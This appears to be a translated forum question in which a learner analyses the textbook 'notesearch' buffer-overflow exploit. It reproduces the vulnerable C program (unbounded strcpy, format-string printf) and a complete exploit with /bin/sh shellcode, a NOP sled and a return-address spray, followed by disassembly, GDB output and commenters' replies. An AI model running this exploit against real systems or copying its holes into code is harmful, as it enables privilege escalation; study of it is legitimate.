Vulnerable program:

#include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include "hacking.h" #define FILENAME "/var/notes" int print_notes(int, int, char *); // note printing function int find_user_note(int, int); // seek in file for a note for user int search_note(char *, char *); // search for keyword function void fatal(char *); // fatal error handler int main(int argc, char *argv[]) { int userid, printing=1, fd; // file descriptor char searchstring[100]; if(argc > 1) // If there is an arg strcpy(searchstring, argv[1]); // that is the search string else // otherwise searchstring[0] = 0; // search string is empty userid = getuid(); fd = open(FILENAME, O_RDONLY); // open the file for read-only access if(fd == -1) fatal("in main() while opening file for reading"); while(printing) printing = print_notes(fd, userid, searchstring); printf("-------[ end of note data ]-------\n"); close(fd); } // A function to print the notes for a given uid that match // an optional search string // returns 0 at end of file, 1 if there are still more notes int print_notes(int fd, int uid, char *searchstring) { int note_length; char byte=0, note_buffer[100]; note_length = find_user_note(fd, uid); if(note_length == -1) // if end of file reached return 0; // return 0 read(fd, note_buffer, note_length); // read note data note_buffer[note_length] = 0; // terminate the string if(search_note(note_buffer, searchstring)) // if searchstring found printf(note_buffer); // print the note return 1; } // A function to find the next note for a given userID // returns -1 if the end of the file is reached // otherwise it returns the length of the found note int find_user_note(int fd, int user_uid) { int note_uid=-1; unsigned char byte; int length; while(note_uid != user_uid) { // loop until a note for user_uid is found if(read(fd, &note_uid, 4) != 4) // read the uid data return -1; // if 4 bytes aren't read, return end of file code if(read(fd, &byte, 1) != 1) // read the newline separator return -1; byte = length = 0; while(byte != '\n') { // figure out how many bytes to the end of line if(read(fd, &byte, 1) != 1) // read a single byte return -1; // if byte isn't read, return end of file code length++; } } lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid); return length; } // A function to search a note for a given keyword // returns 1 if a match is found, 0 if there is no match int search_note(char *note, char *keyword) { int i, keyword_length, match=0; keyword_length = strlen(keyword); if(keyword_length == 0) // if there is no search string return 1; // always "match" for(i=0; i < strlen(note); i++) { // iterate over bytes in note if(note[i] == keyword[match]) // if byte matches keyword match++; // get ready to check the next byte else { // otherwise if(note[i] == keyword[0]) // if that byte matches first keyword byte match = 1; // start the match count at 1 else match = 0; // otherwise it is zero } if(match == keyword_length) // if there is a full match return 1; // return matched } return 0; // return not matched } 

This program reads the current user's records from the file /var/notes . In this file, records are marked with user UID : first the UID on a new line, then the record on the next one. First, the UID current user is obtained, then records are searched for it. The program can pass a string to be found in the records. Then only entries with this string are displayed. If the string is not specified, all entries are displayed. The buffer for the search string is 100 bytes.

Exploit for her:

 #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the new memory strcpy(command, "./notesearch \'"); // start command buffer buffer = command + strlen(command); // set buffer at the end if(argc > 1) // set offset offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // set return address for(i=0; i < 160; i+=4) // fill buffer with return address *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // build NOP sled memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); // run exploit free(command); } 

Here a command is formed that the system must execute: first, the command contains the name of the program to be executed, a space, and in quotes the shellcode.

The contents of the command array after it is filled:

enter image description here

main disassembly listing:

 Dump of assembler code for function main: 0x0804853b <+0>: lea ecx,[esp+0x4] 0x0804853f <+4>: and esp,0xfffffff0 0x08048542 <+7>: push DWORD PTR [ecx-0x4] 0x08048545 <+10>: push ebp 0x08048546 <+11>: mov ebp,esp 0x08048548 <+13>: push edi 0x08048549 <+14>: push ebx 0x0804854a <+15>: push ecx 0x0804854b <+16>: sub esp,0x2c 0x0804854e <+19>: mov ebx,ecx 0x08048550 <+21>: mov DWORD PTR [ebp-0x1c],0x10e 0x08048557 <+28>: sub esp,0xc 0x0804855a <+31>: push 0xc8 0x0804855f <+36>: call 0x80483d0 <malloc@plt> 0x08048564 <+41>: add esp,0x10 0x08048567 <+44>: mov DWORD PTR [ebp-0x20],eax 0x0804856a <+47>: sub esp,0x8 0x0804856d <+50>: push 0xc8 0x08048572 <+55>: push DWORD PTR [ebp-0x20] 0x08048575 <+58>: call 0x80483c0 <bzero@plt> 0x0804857a <+63>: add esp,0x10 0x0804857d <+66>: mov eax,DWORD PTR [ebp-0x20] 0x08048580 <+69>: mov DWORD PTR [eax],0x6f6e2f2e 0x08048586 <+75>: mov DWORD PTR [eax+0x4],0x65736574 0x0804858d <+82>: mov DWORD PTR [eax+0x8],0x68637261 0x08048594 <+89>: mov WORD PTR [eax+0xc],0x2720 0x0804859a <+95>: mov BYTE PTR [eax+0xe],0x0 0x0804859e <+99>: sub esp,0xc 0x080485a1 <+102>: push DWORD PTR [ebp-0x20] 0x080485a4 <+105>: call 0x80483f0 <strlen@plt> 0x080485a9 <+110>: add esp,0x10 0x080485ac <+113>: mov edx,eax 0x080485ae <+115>: mov eax,DWORD PTR [ebp-0x20] 0x080485b1 <+118>: add eax,edx 0x080485b3 <+120>: mov DWORD PTR [ebp-0x24],eax 0x080485b6 <+123>: cmp DWORD PTR [ebx],0x1 0x080485b9 <+126>: jle 0x80485d2 <main+151> 0x080485bb <+128>: mov eax,DWORD PTR [ebx+0x4] 0x080485be <+131>: add eax,0x4 0x080485c1 <+134>: mov eax,DWORD PTR [eax] 0x080485c3 <+136>: sub esp,0xc 0x080485c6 <+139>: push eax 0x080485c7 <+140>: call 0x8048420 <atoi@plt> 0x080485cc <+145>: add esp,0x10 0x080485cf <+148>: mov DWORD PTR [ebp-0x1c],eax 0x080485d2 <+151>: lea eax,[ebp-0x2c] 0x080485d5 <+154>: sub eax,DWORD PTR [ebp-0x1c] 0x080485d8 <+157>: mov DWORD PTR [ebp-0x28],eax 0x080485db <+160>: mov DWORD PTR [ebp-0x2c],0x0 0x080485e2 <+167>: jmp 0x80485fa <main+191> ---Type <return> to continue, or q <return> to quit--- 0x080485e4 <+169>: mov edx,DWORD PTR [ebp-0x2c] 0x080485e7 <+172>: mov eax,DWORD PTR [ebp-0x24] 0x080485ea <+175>: add edx,eax 0x080485ec <+177>: mov eax,DWORD PTR [ebp-0x28] 0x080485ef <+180>: mov DWORD PTR [edx],eax 0x080485f1 <+182>: mov eax,DWORD PTR [ebp-0x2c] 0x080485f4 <+185>: add eax,0x4 0x080485f7 <+188>: mov DWORD PTR [ebp-0x2c],eax 0x080485fa <+191>: mov eax,DWORD PTR [ebp-0x2c] 0x080485fd <+194>: cmp eax,0x9f 0x08048602 <+199>: jbe 0x80485e4 <main+169> 0x08048604 <+201>: sub esp,0x4 0x08048607 <+204>: push 0x3c 0x08048609 <+206>: push 0x90 0x0804860e <+211>: push DWORD PTR [ebp-0x24] 0x08048611 <+214>: call 0x8048410 <memset@plt> 0x08048616 <+219>: add esp,0x10 0x08048619 <+222>: mov eax,DWORD PTR [ebp-0x24] 0x0804861c <+225>: add eax,0x3c 0x0804861f <+228>: sub esp,0x4 0x08048622 <+231>: push 0x23 0x08048624 <+233>: push 0x8049960 0x08048629 <+238>: push eax 0x0804862a <+239>: call 0x80483b0 <memcpy@plt> 0x0804862f <+244>: add esp,0x10 0x08048632 <+247>: mov eax,DWORD PTR [ebp-0x20] 0x08048635 <+250>: mov ecx,0xffffffff 0x0804863a <+255>: mov edx,eax 0x0804863c <+257>: mov eax,0x0 0x08048641 <+262>: mov edi,edx 0x08048643 <+264>: repnz scas al,BYTE PTR es:[edi] 0x08048645 <+266>: mov eax,ecx 0x08048647 <+268>: not eax 0x08048649 <+270>: lea edx,[eax-0x1] 0x0804864c <+273>: mov eax,DWORD PTR [ebp-0x20] 0x0804864f <+276>: add eax,edx 0x08048651 <+278>: mov WORD PTR [eax],0x27 => 0x08048656 <+283>: sub esp,0xc 0x08048659 <+286>: push DWORD PTR [ebp-0x20] 0x0804865c <+289>: call 0x80483e0 <system@plt> 0x08048661 <+294>: add esp,0x10 0x08048664 <+297>: sub esp,0xc 0x08048667 <+300>: push DWORD PTR [ebp-0x20] 0x0804866a <+303>: call 0x80483a0 <free@plt> 0x0804866f <+308>: add esp,0x10 0x08048672 <+311>: mov eax,0x0 0x08048677 <+316>: lea esp,[ebp-0xc] 0x0804867a <+319>: pop ecx 0x0804867b <+320>: pop ebx 0x0804867c <+321>: pop edi 0x0804867d <+322>: pop ebp ---Type <return> to continue, or q <return> to quit--- 0x0804867e <+323>: lea esp,[ecx-0x4] 0x08048681 <+326>: ret End of assembler dump. 

How this line works ret = (unsigned int) &i - offset; ?

Here, the return address is somehow obtained. Apparently, the author hopes that the compiler will place the variable i immediately after the return address and the saved ebp on the stack. Then, using its address, you can get to the return address. But then why use such a large offset offset = 270 ?

This is what GDB shows:

 22 ret = (unsigned int) &i - offset; // set return address (gdb) x/20i $eip => 0x80485d2 <main+151>: lea eax,[ebp-0x2c] 0x80485d5 <main+154>: sub eax,DWORD PTR [ebp-0x1c] 0x80485d8 <main+157>: mov DWORD PTR [ebp-0x28],eax 0x80485db <main+160>: mov DWORD PTR [ebp-0x2c],0x0 0x80485e2 <main+167>: jmp 0x80485fa <main+191> 0x80485e4 <main+169>: mov edx,DWORD PTR [ebp-0x2c] 0x80485e7 <main+172>: mov eax,DWORD PTR [ebp-0x24] 0x80485ea <main+175>: add edx,eax 0x80485ec <main+177>: mov eax,DWORD PTR [ebp-0x28] 0x80485ef <main+180>: mov DWORD PTR [edx],eax 0x80485f1 <main+182>: mov eax,DWORD PTR [ebp-0x2c] 0x80485f4 <main+185>: add eax,0x4 0x80485f7 <main+188>: mov DWORD PTR [ebp-0x2c],eax 0x80485fa <main+191>: mov eax,DWORD PTR [ebp-0x2c] 0x80485fd <main+194>: cmp eax,0x9f 0x8048602 <main+199>: jbe 0x80485e4 <main+169> 0x8048604 <main+201>: sub esp,0x4 0x8048607 <main+204>: push 0x3c 0x8048609 <main+206>: push 0x90 0x804860e <main+211>: push DWORD PTR [ebp-0x24] 

It can be seen that the variable i is located at the offset -0x2c : lea eax,[ebp-0x2c] . Let us check that this is indeed her:

 (gdb) x/xw $ebp-0x2c 0xbffff40c: 0x0000b5ba (gdb) set var i = 5 (gdb) x/xw $ebp-0x2c 0xbffff40c: 0x00000005 

That is, it turns out like this: right after launching the program, the following numbers are stored in the stack:

  1. saved frame pointer (SFP): saved EBP
  2. ret - return address

The current ESP value is copied to EBP and some number is subtracted from ESP , freeing up free space for local variables. The variable i was too far away from the return address! 0x2c above saved ebp .

How can I get the return address in this line? Because of what happens when this program runs segolt?

 [DEBUG] found a 34 byte note for user id 77 [DEBUG] found a 10 byte note for user id 77 -------[ end of note data ]------- Segmentation fault 
  • I do not seem to understand the logic of the exploit. The return address is taken when executing the vulnerable program, not this one. - typemoon
  • I do not understand why you subtract offset from the address of a local variable to calculate the return address? The stack grows towards smaller addresses, therefore the stored return address will be on the stack with an address greater than that of the local variable. - avp
  • I disassemble someone else's exploit. The line with the use of offset is generally incomprehensible to me, this is the most magical place in the program. It would be nice to learn how a vulnerable program behaves after passing a line with shellcode to it, but I don’t know how to connect to it in GDB after calling it with the system function. - typemoon
  • In addition, for some reason, the author conceived the setting of this offset by passing a parameter to the program. Maybe I wanted to write a script on a pearl that would select the desired offset if the standard one didn’t work for some reason? - typemoon
  • Is this a working option? Can you analyze some kind of garbage? - avp

0